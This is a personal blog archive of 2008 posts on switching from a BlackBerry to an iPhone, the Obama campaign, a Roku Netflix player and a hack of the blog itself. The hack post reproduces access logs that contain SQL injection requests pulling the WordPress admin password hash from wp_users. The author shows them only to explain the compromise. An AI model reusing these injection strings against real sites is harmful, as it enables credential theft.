Dibs: making ice cream easier to eat.
I’m going to be a little long-winded here, but with the anticipated announcement of a new iPhone later this morning and having recently read John Gruber’s post about why hardcore BlackBerry users would be unlikely to switch to iPhones soon (hint: no keyboard), I thought I’d comment on that transition, since I just did it a couple of months ago.
I had resisted getting a “smartphone” for a while. I’d had a Palm III in the mid ’90s and didn’t find it something I really integrated with my life. I’d also had some ugly Sprint Phone in the late ’90s that let me browse news headlines and check mail at Yahoo, but it was painful enough to use that I never really got hooked. Then I switch to AT&T for a while for a much nicer phone and realized that, at the time, what I wanted was a phone that worked. When AT&T discontinued TDMA support without having a suitable presence of GSM towers in my neighborhood, I switched back to Sprint with a phone whose sole advantage was a rubberized case that could survive being dropped. I lasted with that for a few years — it worked fine as a phone and wasn’t too large. Given my limited experience with internet-enabled phones and PDAs, the bulky ugliness of BlackBerries and Palm devices, and my general resistance to anything branded as running Windows, I didn’t feel the need to get one.
Then, Steve Jobs pre-announced the iPhone. Like most technophiles, I swooned. Phone/iPod/camera/browser/PDA. Real internet access. The usability which I love Apple products for. And the prettiest device I had ever seen. So, I figured, I’d stick with my Sprint contract until the iPhone actually came out and then switch.
What intervened was that I started to make more phone calls for a few months, went over the 700 monthly minutes in my existing Sprint contract, and was charged the usurious rates they charge when you go above your limit. I called Sprint, told them I wanted to increase the calling time in my plan, but was told I could only do so by starting another two-year contract. Sorry, no.
By that time, the cool kids around the office were carrying the BlackBerry Pearl. It was small. It was available on AT&T, which I knew I was going to switch to, in order to get an iPhone. It was internet-enabled.
For me, the Pearl was the perfect email device. I didn’t use BlackBerry email, since I’m addicted to gmail’s threading, but the gmail mobile app is very well done. And the Pearl’s two-letters-per-key keyboard is very easy to type on — I can probably type on it at half the speed of a full-size desktop keyboard. Google Maps Mobile is similarly excellent. And, in addition, it could browse the web, but neither the built-in browser nor Opera were very good and, on the small screen, there was only so much of a browsing experience one could hope for.
Perhaps I’m too easily sold on a new device and too willing to compromise, but I really liked the Pearl. It was so much more functionality than I’d had before that I was totally hooked. I got used to reading things on it and wrote tens of email messages on it a day. It was good enough that, for the most part, I stopped carrying my laptop around the office. “Good enough” is an important criteria: anything that replaced it had to be better in enough dimensions to be worth the switch.
I was happy. Despite my original plan, I was going to stick with my BlackBerry, at least until there was a physical keyboard on the iPhone and, more important to me, a decent, native implementation of gmail.
On the other hand, Susan had gotten an iPhone last year and I’d become comfortable with it; ok, I was coveting it. On a vacation where we had poor GSM/Edge coverage but good WiFi, it worked very well (though modern BlackBerries do, too). I used the web interface to gmail on it and was more than pleasantly surprised. And I found that it was more important to me to have a well-rounded internet device than just a good email device. So I switched, even knowing that the device I was buying would be (hopefully) obsolete in a couple of months, due to the mythical 3G iPhone.
Now that I’ve switched, I can’t believe I held on to the BlackBerry as long as I did. What I’ve found is that I use the iPhone less for email than I used the BlackBerry, but much more in general. The phone experience on it is much more pleasant than I’d expected. The few native apps work nicely, but it really shines as an internet device. One shout-out: the new Google Reader beta for the iPhone is one of the most addictive apps I’ve ever used. And I’m very excited by the possibility of native apps, now that the SDK is out.
Of course, the iPhone still has its compromises. The lack of a keyboard does hurt, but I’m typing better than I had expected and wouldn’t want to give up any screen space or make the device larger. I’m hoping that with downloadable iPhone apps, we get an iPhone version of gmail mobile. (Despite working for Google, I have no idea if such a thing is in progress.) The Edge network is terrible once you’re used to anything faster, but the 3G rumors give my hope. And I still carry my iPod Nano with me, because the GSM interference (aka, BlackBerry buzz) is really awful when I use the iPhone hooked up to my car’s stereo.
So, is it the ultimate phone/mobile internet device? No, but it’s better than anything else I could actually buy today. And it’s a very satisfying piece of “realized science fiction” that I can carry around with me. It’s good enough for now.
There’s been some fascinating coverage of the Obama campaign’s strategy for winning the Democratic nomination, including Justin Sizemore’s accounting of how the race played out in delegates and, earlier, Ben Smith and Avi Zenilman’s profile of Jeffrey Berman, Obama’s delegate counter. Reading these pieces together, I’m struck by the resemblance to Michael Lewis’s Moneyball.
It seems obvious in retrospect, but by focusing on delegates and the places where the largest marginal amount of delegates could be picked up — caucus states, congressional districts with odd numbers of delegates — the Obama campaign was paying attention to the right statistics. By contrast, thinking about about states won and lost or even the popular vote could be considered a distraction; it appears, from this distance, that that was what Clinton’s campaign was doing — early in the race, they focused on states won and, later, perhaps in a too self-serving way, on the popular vote.
Hendrick Hertzberg makes the good point that “the popular vote is a relevant moral category” even though it is a “juridical irrelevancy” for both the nominating process and the general election. This is clearly a place where American politics feel broken and out of step with modern-day democratic beliefs. However, in the real world, the metric on which a race is decided — delegate count or electoral college vote — is clearly the right one to focus on. At the end of the day, the Obama campaign, as winners generally do, looks very smart.
I’ve been a very happy Netflix subscriber for almost a decade. The wide selection of movies and lack of pressure about returning at any particular time works really well for me. We all know that
Netflix’s rent-by-mail model will be replaced by net-based delivery before too long, but the video-on-slow-demand model has been more than good enough — if it went away without something better replacing it, I’d be upset. And so far, nothing seemed better from a convenience standpoint: I wanted to watch on my TV, not hook up a full computer to the TV, use a normal remote control, and pay a fixed price per month for whatever we watch.
Last week, I ordered the Roku Netflix player and it arrived tonight. Setting it up took about five minutes, the bulk of which was trying to reach the outlet behind the piece of furniture underneath the TV. After it was running, we could watch any of the “watch instantly” titles from our queue. Took about five to ten seconds after selecting something for it to start playing.
The UI is pretty minimal, which is exactly what one wants. Rather than a fancy device which does a lot of things, this plays movies from Netflix. Period. Pausing, rewinding, and fast forwarding all work with a nice, Coverflow-esque UI. Queue management is not done on the player but on a normal web browser on some other machine.
The biggest drawback is that the selection available to watch instantly is still limited — about 10% of the things on my DVD queue were available for instant watching. That doesn’t bother me, because we’ll keep up our usual Netflix subscription and use this as a supplement until the world ends up cutting over to online delivery.
The other drawback we’ve hit is that you don’t have access to subtitles from the DVD. Apparently closed-captioning may be available for some things, but the subtitles usually interfere much less with programming than closed captions. We tend to watch with the sound fairly low and subtitles on after the kids are in bed. But, we can live with this.
For $100, I’m pretty happy with the box.
Last week, this blog was hacked. As far as hacks go, it was pretty minor: traffic coming from search engines was redirected to a spammy search engine (your-needs.info) with the query from the Referer header being passed along. Traffic from other links apparently didn’t get redirected.
The hack is described at the wordpress forums and appears to be spreading.
I’ve been running an ancient version of Wordpress and had meant to upgrade, but it never seemed urgent; hopefully, I’ve learned that lesson. While upgrading, I decided to upgrade from the default Wordpress 1.X theme I was using to this very nice Classy theme by Benedikt Rieke-Benninghaus, though I’ve already started tweaking it.
Thanks to Mike Hochster for telling me that my blog was broken and Brian White for pointing me at easy instructions for keeping Wordpress up to date.
For the curious, I suspect the attack corresponded to one of the following log entries:
84.244.147.70 - - [27/May/2008:21:29:19 -0400] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 398 “-” “-”
84.244.147.70 - - [27/May/2008:21:29:44 -0400] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 398 “-” “-”
84.244.147.70 - - [27/May/2008:21:29:44 -0400] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 398 “-” “-”
84.244.147.70 - - [27/May/2008:21:29:44 -0400] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 398 “-” “-”
84.244.147.70 - - [27/May/2008:21:29:44 -0400] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 398 “-” “-”
84.244.147.70 - - [27/May/2008:21:29:44 -0400] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 398 “-” “-”
87.118.112.44 - - [27/May/2008:21:35:34 -0400] “HEAD /wp-admin/ HTTP/1.1″ 302 916 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:34 -0400] “HEAD /wp-login.php?action=logout HTTP/1.1″ 302 782 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:35 -0400] “POST /wp-admin/admin-ajax.php HTTP/1.1″ 404 391 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:35 -0400] “GET /xmlrpc.php HTTP/1.1″ 200 209 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:35 -0400] “POST /xmlrpc.php HTTP/1.1″ 200 941 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:36 -0400] “POST /wp-trackback.php?tb_id=1 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:36 -0400] “GET /index.php?cat=%2527+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+id=1/* HTTP/1.1″ 200 8256 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:37 -0400] “GET /index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.1″ 200 8256 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:37 -0400] “GET /wp-trackback.php?p=1 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:38 -0400] “GET /wp-trackback.php?p=2 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:38 -0400] “GET /wp-trackback.php?p=3 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:38 -0400] “GET /wp-trackback.php?p=4 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:39 -0400] “GET /wp-trackback.php?p=5 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:39 -0400] “GET /wp-trackback.php?p=6 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:39 -0400] “GET /wp-trackback.php?p=7 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:40 -0400] “GET /wp-trackback.php?p=8 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:41 -0400] “GET /wp-trackback.php?p=9 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:41 -0400] “GET /wp-trackback.php?p=10 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:42 -0400] “GET /wp-trackback.php?p=11 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:42 -0400] “GET /wp-trackback.php?p=12 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:42 -0400] “GET /wp-trackback.php?p=13 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:43 -0400] “GET /wp-trackback.php?p=14 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:43 -0400] “GET /wp-trackback.php?p=15 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:43 -0400] “GET /wp-trackback.php?p=16 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:44 -0400] “GET /wp-trackback.php?p=17 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:44 -0400] “GET /wp-trackback.php?p=18 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:44 -0400] “GET /wp-trackback.php?p=19 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:45 -0400] “GET /wp-trackback.php?p=20 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:45 -0400] “GET /wp-trackback.php?p=21 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:45 -0400] “GET /wp-trackback.php?p=22 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:46 -0400] “GET /wp-trackback.php?p=23 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:46 -0400] “GET /wp-trackback.php?p=24 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:46 -0400] “GET /wp-trackback.php?p=25 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
87.118.112.44 - - [27/May/2008:21:35:47 -0400] “POST /wp-trackback.php?p=1 HTTP/1.1″ 200 265 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)”
Udi Manber wrote a blog post introducting search quality at Google. As Udi says, we are “quite secretive about what we do” and this is a nice, simple summary of the sorts of thing we work on and what we think about. I’m on the ranking team but have spent more and more of my time over recent years thinking about the intersection between ranking and user interface.
I don’t usually talk in public about the technical side of what I do at work, but I co-wrote a post for the company blog a few weeks ago on how we build and use language models which I should have linked to earlier.
During my commute yesterday, I listened to Barack Obama’s speech in Philadelphia on race and religion. It was amazing and inspiring, but not in the usual way one expects to use the words. The oratory was rarely soaring and it didn’t build to huge crescendos.
Instead, what made the speech so good was the combination of Obama’s honesty and the sense he was not talking down to his audience. I heard a smart, black constitutional lawyer speaking about American history, politics, race, religion, and his personal story in simple, straightforward language. This shouldn’t be shocking, but it is. There was no political correctness, no “red meat” for the diehards, no sound-bite pablum, and no simple answers. I felt like I was being treated as a thinking adult, not a demographic, not just a vote up for grabs.
If you’ve only seen or read clips of the speech, I recommend reading or listening to the whole thing. It’s one of those moments we should aspire to.
(Thanks to Dave Winer for the link.)
“Tell me what you know, then tell me what you don’t know, and only then can you tell me what you think. Always keep those three separated.”
– Colin Powell to Mike McConnell, summer 1990, as reported in Lawrence Wright, A Reporter at Large: The Spymaster, The New Yorker, January 21, 2008
The article’s well worth reading and quite scary, I thought, both for the incompetence of the “intelligence community” and the frightening steps McConnell wants to take to make it effective, but I loved directness and efficiency of Powell’s advice.
I am an independent and looking for a president with integrity. Should I vote for John McCain or Barack Obama?
Didn’t we all swear to stop picking the candidate who would be most fun to go on a picnic with? You’re torn between the guy who’s been against the war from the beginning and the guy who’s willing to stay in Iraq for 100 years? Between the guy who wants to pay for a $50 billion-a-year health care program by eliminating tax cuts for the wealthy, and the guy who wants to keep the tax cuts and pay for them by cutting the budget? Get a grip.
– Gail Collins, A Voter’s Guide, The New York Times, February 2, 2007
Collins’s comment is absolutely true: on almost all policy issues where there is a difference between candidates, Obama and McCain disagree. So there should be no difficulty for anyone with political opinions in picking between them. But, a campaign between them would, like any other presidential contest, largely be decided by who attracts the most “independent” voters. I guess I just don’t understand voters without a strong bias towards one or the other party.
And yet, even though I consider Collins’s hypothetical question silly, I’m a lifelong Democrat and liberal who finds McCain appealing. (I even cast the sole vote in my life for a Republican for him. It was in the California primary in 2000, when Gore had sewn up the Democratic nomination and I was hoping against hope that Bush, who, it was clear would make a terrible President, would not get the Republican nomination. Even though McCain, with his independent appeal, was clearly more electable.) I won’t vote for McCain in the general election and am ecstatic to be voting for Obama, especially in a primary where my vote actually matters. But I also can relate to the politics of personality, where both candidates, based on their integrity and clarity of vision, pull the attention of voters from across the spectrum.